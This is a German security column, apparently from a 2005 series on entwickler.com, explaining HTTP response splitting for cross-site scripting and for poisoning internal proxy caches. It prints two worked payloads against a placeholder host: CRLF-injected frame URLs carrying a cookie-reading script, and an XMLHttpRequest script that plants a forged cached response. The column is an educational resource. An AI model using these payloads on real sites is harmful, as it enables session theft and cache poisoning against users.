Freitag, 21. November 2008

News

präsentiert von: entwickler.com
Donnerstag, 22. September 2005

About Security #24: Caches indirekt vergiften

Übre HTTP-Response-Splitting-Angriffe sind auch Cross-Site Scripting und das Vergiften nicht direkt zugänglicher Caches möglich. Wie das funktioniert, verrät diese Folge von About Security.

Cross-Site Scripting mit Internet Explorer 6.0 SP1

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Im Vergleich zum Vergiften des Browser-Caches (siehe About Security #23) ist die Situation beim Cross-Site Scripting einfacher, da es egal ist, welcher HTTP-Request der zweiten HTTP-Response zugeordnet wird. Jeder weitere HTTP-Request über dieselbe TCP-Verbindung ist für dieselbe Website. Der Angriff ist daher erfolgreich, sofern der Server die TCP-Verbindung nicht beendet. Beendet der Server die Verbindung bei der Redirection, kann eine Bombardierung mit HTTP-Requests nach dem Muster aus About Security #23 zum Erfolg führen (Bsp. nach Amit Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics", PDF):


<frameset cols="5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,
5%,5%,5%">
<frame src="http://www.opfer.example/redir_lang.jsp?lang=%0d%0aConne
ction:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA ... [Auffüllen auf 1024 Bytes]...
AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0
d%0aLastModified:%20Sat,%2003%20Dec%202005%2001:23:45%20GMT%0d%0a
ContentLength:%2052%0d%0a%0d%0a<html><script>alert(document.cooki
e)</ script></html>
">
<frame src="http://www.opfer.example/index.html"> ... [19 weitere dieser <frame>s] ... </frameset>

Im Gegensatz zum Vergiften des Browser-Caches ist es nicht notwendig, zwei HTTP-Requests abwechselnd zu senden. Der Cross-Site-Scripting-Angriff ist auch erfolgreich, wenn die eingeschleuste zweite HTTP-Response einem weiteren HTTP Response Splitting Request zugeordnet wird.

Indirektes Vergiften von Cache-/Proxy-Servern

Das Vergiften des Browser-Caches unterscheidet sich von Angriffen auf andere Ziele in dem Punkt, dass der Angreifer den HTTP Response Splitting Request nicht selbst sendet, sondern von einem Dritten (in diesem Fall dem Benutzer des Browsers) senden lässt. So ist ihm ein Angriff auf ein Ziel möglich, auf das er selbst nicht zugreifen kann.

About Security: Die komplette Serie

Verbunden mit einem Cross-Site-Scripting-Angriff kann dieses Verfahren auch zum Angriff auf andere, nicht direkt zugängliche Ziele ausgenutzt werden. Ein derartiges Ziel sind zum Beispiel Proxy-Server innerhalb eines lokalen Netzes. Um deren Cache zu vergiften, kann über Cross-Site Scripting JavaScript-Code in einem Webbrowser im lokalen Netz eingeschleust werden, der dann einen HTTP-Response-Splitting-Angriff zum Vergiften des Caches des internen Servers startet. Zum Erzeugen der nötigen HTTP-Header kann beispielsweise ein XMLHttpRequest verwendet werden.

Durchführung des Angriffs

Der Angreifer lässt einen Benutzer eine Webseite öffnen, die beim Aufruf einen Cross-Site-Scripting-Angriff auslöst. Darüber wird JavaScript-Code in den Webbrowser des Benutzers eingeschleust, der einen HTTP-Response-Splitting-Angriff zum Vergiften des Proxy-Server-Caches startet.

Folgendes Beispiel (nach dem oben genannten Whitepaper) für den entsprechenden JavaScript-Code geht zur Vereinfachung von einigen Annahmen aus:

  • Ziel ist ein Apache-2.0-Forward-Proxy-Server
  • Als Browser wird der Internet Explorer 6.0 SP1 verwendet
  • Das verwundbare Skript auf dem Webserver setzt einen Cookie unter Verwendung vom Benutzer gelieferter Daten. Im Fall einer Redirection müsste die Race Condition des Internet Explorers berücksichtigt werden.
  • Der Browser verwendet HTTP/1.1 zur Kommunikation mit dem Proxy-Server. Andernfalls beendet der XMLHttpRequest die TCP-Verbindung nach jedem HTTP-Request.

1 var r = new ActiveXObject("Microsoft.XMLHTTP");
2 3 r.open("GET","http://www.opfer.example/index.html",false);
4 r.setRequestHeader("Pragma","no-cache");
5 r.send();
6 7 r.open("GET","http://www.opfer.example/SetLang.aspx?lang=%0d%0a
ContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLastMo
dified:%20Sat,%2003%20Dec%202005%2001:23:45%20GMT%0d%0aConten
t-Length:%2023%0d%0aContentType:%20text/html%0d%0a%0d%0a<html
>Geschafft!</html>",false);
8 r.send();
9 10 r.open("GET","http://www.opfer.example/index.html",false);
11 r.send();

Das Skript geht wie in About Security #23 beschrieben vor:

  1. Zuerst wird eine gegebenenfalls im Cache vorhandene Version der Seite ungültig gemacht (Zeile 3 bis 5).
  2. Danach wird der HTTP-Response-Splitting-Angriff gestartet (Zeile 7 und 8).
  3. Zuletzt wird die Seite aufgerufen, die vergiftet werden soll (Zeile 10 und 11).

Jede für HTTP Response Splitting anfällige Seite ist auch für Cross-Site Scripting anfällig. Daher können auf diese Weise Caches vergiftet werden, auf die der Angreifer nicht direkt zugreifen kann.

In der nächsten Folge wird das Thema HTTP Response Splitting mit einem letzten Beispiel für einen Angriff abgeschlossen: Das Entführen von Webseiten mit sensitiven Informationen. Außerdem erfahren Sie, wie Sie HTTP-Response-Splitting-Angriffe erkennen und verhindern können.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Ihre Meinung ist uns wichtig!
Mobile Computing Heute & Morgen!
Nehmen Sie an unserer Umfrage zum Thema Mobile Computing in Deutschland teil und nutzen Sie die Chance eine Casio Exilim EX-Z1050-Digitalkamera zu gewinnen!
OpenOffice.org Spezial

Konferenzen

JAX Asia 2008

JAX Asia 2008

25.-28. November 2008
Singapore, Kuala Lumpur, Jakarta

BASTA! Spring 2009

BASTA! Spring 2009

23.-27. Februar 2009
Maritim Rhein-Main Hotel Wissenschaftsstadt Darmstadt

BASTA! Italia 2009

BASTA! Italia 2009

16.-18. März 2009
Holiday Inn EUR Parco dei Medici, Roma

PHPCon Italia 2009

PHPCon Italia 2009

18.-20. März 2009
Holiday Inn EUR Parco dei Medici, Roma

webinale 09

webinale 09

25.-27. Mai 2009
Berlin

Werbung
Top-Jobs

Software & Support Verlag GmbH

Volontär (w/m) Redaktion, Vollzeit

Software & Support Verlag GmbH

Redakteur (m/w), Vollzeit

Endress+Hauser GmbH+Co. KG

Entwickler Datenbanksysteme (m/w)

Signsoft GmbH

Java-Entwickler (m/w)

Software & Support Verlag GmbH

Lektor (m/w), Vollzeit

Magazine

Entwickler Magazin - Enterprise Technologies & Business Solutions

Entwickler Magazin

Enterprise Technologies & Business Solutions

dot.net magazin - die unabhängige Quelle für .NET-Technologien

dot.net magazin

Die Quelle für .NET-Technologien

Eclipse Magazin

Eclipse Magazin

Weltweit erstes Magazin für Eclipse-Entwickler

Java Magazin - Internet & Enterprise Technology

Java Magazin

Internet & Enterprise Technology

CREATE OR DIE - Ein Leben für die Kreativität

CREATE OR DIE

Ein Leben für die Kreativität

Business Technology - Management Magazin

Business Technology

Management Magazin

PHP Magazin - Professional PHP Development

PHP Magazin

Professional PHP Development

Bücher


hosted by HostEurope